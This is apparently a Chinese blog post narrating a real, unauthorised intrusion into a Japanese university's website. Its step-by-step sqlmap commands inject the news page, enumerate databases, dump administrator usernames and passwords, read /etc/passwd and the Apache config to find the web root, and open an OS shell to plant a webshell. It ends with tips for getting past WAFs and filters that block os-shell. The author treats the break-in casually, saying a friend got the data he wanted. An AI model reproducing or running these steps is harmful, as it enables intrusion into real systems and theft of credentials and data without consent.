所有话题标签: |
0x01 前言
这个案例记录的是2013年给基佬@宝哥看的一个日本大学项目站点,当时没有去细看只拿到了一个旁站权限,过了几天后他给我留言说已经拿下目标站了,叫他发我还不愿意了,不过他忘了以前给我发过,^_^,只好去QQ上翻了下聊天记录,然后就记录下了这次渗透过程。
基本信息探测:
-
目标站点:http://icfcs.******-u.ac.jp
-
服务器IP:210.***.***.76(日本)
-
环境平台:PHP/5.1.6 + MySQL5
-
服务器系统:Apache/2.2.3(Red Hat)
0x02 实战测试过程
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --dbs
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-db
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-user
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" --tables
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --columns
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --C "admin_id,admin_pw" --dump
通过这个注入漏洞已经成功跑出了网站管理员的帐号、密码,后台目录就是admin,进入后台发现只有3个栏目,只找到一个上传点和fckeditor编辑器,但是都做了限制,我知道的思路基本都试过了,无法利用这个网站后台直接拿到Webshell。
抽根烟休息了会,经过一段时间的测试发现admin-icfcs@localhost这个数据库用户既然具备root用户所拥有的权限,也就是DBA,直接使用sqlmap工具以跨库查询和读取文件两种方式来验证一下。
(1) 跨库查询
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 -D "eccube" --tables
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/passwd"
既然我们知道了admin-icfcs@localhost具备root用户的权限,那么我们就可以直接利用这个注入点来导出Webshell了,但是需要满足以下一些必备条件。
-
Root数据库用户:admin-icfcs@localhost -
magic_quotes_gpc:Off(关闭)
-
绝对路径:/home/icfcs.******-u.ac.jp/public_html/
-
root用户权限下一般都具有load_file读取和into oufile写入权限
(1) sqlmap --file-read获取网站绝对路径
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/httpd/conf/httpd.conf"
使用sqlmap工具中的--file-read参数读取Apache默认配置文件:/etc/httpd/conf/httpd.conf,读取后的文件会保存在以下路径,通过这个配置文件可以找到网站的绝对路径。
/pentest/database/sqlmap/output/icfcs.******-u.ac.jp/files/etc/httpd/conf/httpd.conf
(2) sqlmap --os-shell获取网站Webshell权限
sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --os-shell
所噶,在这里基本上可以说是已经拿下了,来看一下使用sqlmap --os-shell参数上传的一个临时上传文件,文件名都是以随机命名生成,接着我们就可以自己再去传一个一句话或大马上去进行提权,由于基佬说他们已经拿到了所需要的数据,所以我也就没有再继续提权了。
0x03 os-shell常见问题
-
当前注入点不支持堆叠查询(union select); -
os-shell时没有绝对路径盘符,需要手动添加;
-
xp_cmdshell等组件被禁用或删除时无法利用;
-
程序代码过滤union/select/load_file()时无法利用;
-
主机上存在WAF时无法利用,如:云锁、安全狗等;
-
......等等原因!
参考链接:https://forum.90sec.org/forum.php?mod=viewthread&tid=9218
真正要想找到问题出在哪?个人建议还是使用sqlmap中的--proxy参数结合Burpsuite抓取--os-shell的数据包去看一下,曾经遇到过的WAF、过滤和盘符等问题都是通过这种方式找到原因的!
sqlmap.py -u "http://icfcs.******-u.ac.jp/news/detail.php?news_id=66" --os-shell --proxy=http://127.0.0.1:8080
本文始发于微信公众号(潇湘信安):记一次渗透日本某大学实战案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论